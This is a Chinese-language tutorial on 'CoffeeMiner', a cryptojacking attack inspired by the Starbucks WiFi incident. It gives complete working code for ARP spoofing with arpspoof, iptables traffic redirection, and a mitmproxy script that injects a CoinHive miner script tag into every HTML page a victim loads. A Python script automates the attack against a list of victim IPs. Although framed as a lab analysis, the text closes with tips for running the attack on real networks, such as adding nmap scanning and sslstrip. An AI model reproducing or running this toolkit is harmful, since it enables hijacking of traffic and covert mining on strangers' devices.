导语:2017年12月,星巴克集团就确认顾客在其布宜诺斯艾利斯的分店联网时,首次连接WiFi时会有一个10秒左右的延迟,在这个空隙间,黑客可以在用户毫无察觉的情况下挖掘数字货币。
2017年12月,星巴克集团就确认顾客在其布宜诺斯艾利斯的分店联网时,首次连接WiFi时会有一个10秒左右的延迟,在这个空隙间,黑客可以在用户毫无察觉的情况下挖掘数字货币。
不过目前仍未弄清谁是幕后的操作者,其中所涉及的恶意软件已经被植入了多久,以及有多少用户受到影响都尚不明确。
所以本篇文章就试图分析黑客是如何通过实施MITM攻击并在html页面注入一些javascript,从而强制连接到WiFi网络的所有设备进行挖矿。
黑客有一个脚本可以执行对WiFi网络的自主攻击,我将其称为CoffeeMiner,因为这是一种可以在咖啡馆WiFi网络中执行的攻击。 这种攻击就是将一些设备连接到WiFi网络,并且CoffeeMiner攻击者会在连接过程中拦截用户和路由器之间的流量。
一般情况下,在咖啡馆连接WiFi的都是笔记本电脑和智能手机。所以为了进行分析,我构建了一个虚拟环境。我使用的是VirtualBox来部署虚拟场景的。
首先,我需要下载一些Linux磁盘映像,并将其安装到一个VirtualBox设备上,对于本案例来说,我将使用Kali Linux镜像。
下载ISO映像文件,并准备3个安装了Linux映像的VBox设备。
在模拟的攻击场景中,这3个设备分别代表3种角色:
1. 受害者:连接到路由器并浏览一些页面的设备。
2. 攻击者:将成为运行CoffeeMiner的设备,是执行MITM的设备。
3. 路由器或网关:将充当一个正常的网关。
一旦攻击执行,情况如下所示。
其中每种角色的配置都不一样:
1. 受害者的配置:
1.1 网络适配器:eth0——仅适用于主机适配器;
1.2 /etc/network/interfaces:
auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.10 netmask 255.255.255.0 gateway 10.0.2.15
2. 攻击者的配置:
2.1 网络适配器:eth0——仅适用于主机适配器;
2.2 /etc/network/interfaces:
auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.20 netmask 255.255.255.0 gateway 10.0.2.15
3. 路由器或网关的配置:
3.1 网络适配器:
eth0:桥接适配器
eth1:仅适用于主机适配器
3.2 /etc/network/interfaces:
auto lo iface lo inet loopback auto eth0 iface eth0 inet dhcp auto eth1 iface eth1 inet static address 10.0.2.15 netmask 255.255.255.0
CoffeeMiner的攻击代码
ARP欺骗
中间人攻击是一种由来已久的网络入侵手段,并且在今天仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。
随着计算机通信网技术的不断发展,MITM攻击也越来越多样化。最初,攻击者只要将网卡设为混杂模式,伪装成代理服务器监听特定的流量就可以实现攻击,这是因为很多通信协议都是以明文来进行传输的,如HTTP、FTP、Telnet等。后来,随着交换机代替集线器,简单的嗅探攻击已经不能成功,必须先进行ARP欺骗才行。如今,越来越多的服务商(网上银行,邮箱登陆)开始采用加密通信,SSL(Secure Sockets Layer 安全套接层)是一种广泛使用的技术,HTTPS、FTPS等都是建立在其基础上的。
所以要执行ARP欺骗攻击,我就将使用dsniff库。
arpspoof -i interface -t ipVictim ipGateway arpspoof -i interface -t ipGateway ipVictim
mitmproxy
mitmproxy是一款支持SSL的HTTP代理,它可以用于调试HTTP通信,发起中间人攻击等。mitmproxy提供了一个控制台接口用于动态拦截和编辑HTTP数据包。这样,我就可以使用mitmproxy分析主机的流量,并对该流量做手脚。在我的案例中,我将使用它将javascript注入html页面。
为了使这个虚拟过程简单易操作,我只在html页面中注入一行代码,就开始调用JavaScript挖矿的HTML代码行。
注入挖矿代码的流程如下所示:
<script src="http://httpserverIP:8080/script.js"></script>
注入器
一旦拦截了受害者的流量,就需要注入我的挖矿脚本。我将使用mitmproxy API来完成注入。
from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path)
HTTP服务器
正如以上你所看到的,我向注入器添加了一行指向HTML的代码,以调用我的JavaScript挖矿。所以,我需要在HTTP服务器中部署脚本文件。
为了实现javascript 加密挖矿,我将在攻击者设备中部署一个HTTP服务器。为此,我将使用Python库“http.server”:
import http.server import socketserver import os PORT = 8000 web_dir = os.path.join(os.path.dirname(__file__), 'miner_script') os.chdir(web_dir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", PORT), Handler) print("serving at port", PORT) httpd.serve_forever()
上面的代码就是一个简单的HTTP服务器,它将在需要时执行我设置的挖矿服务。
JavaScript挖矿将被放置在/miner_script目录中。在我的案例中,我使用了CoinHive JavaScript挖矿工具。
Coinhive是一个提供恶意JS脚本的网站平台(https://coin-hive[.]com),允许攻击者将脚本挂在到自己的或入侵的网站上,所有访问该网站的用户都可能成为门罗币的挖掘矿工。
CoinHive挖矿过程
Coinhive工具其实是一个JavaScript库,用户访问加载该JS的网站后,Coinhive的JS代码库在用户的浏览器上运行,开始为网站所有者挖掘门罗币,消耗的是用户自己的CPU资源。它可以被添加进一个网站,并将使用用户的CPU功率来计算哈希与Cryptonight PoW哈希算法来挖掘基于CryptoNote协议的门罗币。
不过CoinHive的执行要在网站的运行时间超过四十秒时才会有效,如果用户意识到自己打开了一个有问题的页面,立马关闭,则CoinHive就会运行失败。
在本例中,由于我会在每个受害者请求的HTML页面中注入挖矿脚本,所以每个网站都有足够的时间来计算哈希值,以此来挖掘门罗币。
CoffeeMiner的运行
在以上这些条件准备好以后,开始执行CoffeeMiner,进而让CoffeeMiner脚本执行ARPspoofing攻击,并用mitmproxy将CoinHive cryptominer注入受害者的HTML页面。
为此,我需要首先配置ip_forwarding和IPTABLES,以便将攻击者的设备转换为代理。
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
为了对所有受害者执行ARP欺骗,我将为受害者的所有IP准备一个“victim.txt”文件。不过要读取所有受害者IP,就准备一些Python行,它将获得IP(以及命令行参数中的网关IP),并对每个受害者的IP执行ARP欺骗。
gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('n') for line in open("victims.txt")] print("victims:") print(victims) # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
一旦我执行了ARP欺骗,我只需要运行HTTP服务器即可。
> python3 httpServer.py
现在,我可以用injector.py运行mitmproxy了。
> mitmdump -s 'injector.py http://httpserverIP:8080/script.js'
CoffeeMiner的最终挖矿脚本
现在我会把上面解释的所有概念都放在'coffeeMiner.py'脚本中:
import os import sys #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('n') for line in open("victims.txt")] print("victims:") print(victims) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") # start the mitmproxy os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
并且在'injector.py'脚本中:
from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': print(flow.response.headers["content-type"]) script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path)
要执行挖矿,我只需要执行以下操作:
> python3 coffeeMiner.py RouterIP
如果我想手动执行攻击,我将需要以下终端:
然后,一旦ARP欺骗攻击完成,注入器和HTTP服务器准备就绪,我就可以登录到受害者的设备浏览网站。此时受害者设备中注入器将会被激活。
因此,受害者正在查看的html页面将具有攻击者注入的html代码行。
演示视频
在下面的视频中,我可以使用coffeeMiner.py脚本查看模拟攻击场景中的完整攻击:
VirtualBox演示:https://www.youtube.com/watch?v=wmYJ6Z4LoCA
实战演示:https://www.youtube.com/watch?v=-TnzGLUD0DU
总结
正如你所看到的那样,挖矿攻击可以很容易地执行,也可以部署成WiFi网络中的自主攻击。不过对于一个真实世界的WiFi网络来说,最好是用强大的WiFi信号来执行这个过程,以达到对整个设备的信号覆盖。
虽然是执行自主攻击,但是我仍然需要使用受害者设备的IP地址编辑victim.txt文件。如果加以改进,攻击者还可能添加一个自主的Nmap扫描,将检测到的IP添加到CoffeeMiner受害者列表中。还有就是可能添加sslstrip,以确保在用户通过HTTPS请求网站的时候进行注入。
你可以在在github中查看我所模拟的全部代码:https://github.com/arnaucode/coffeeMiner。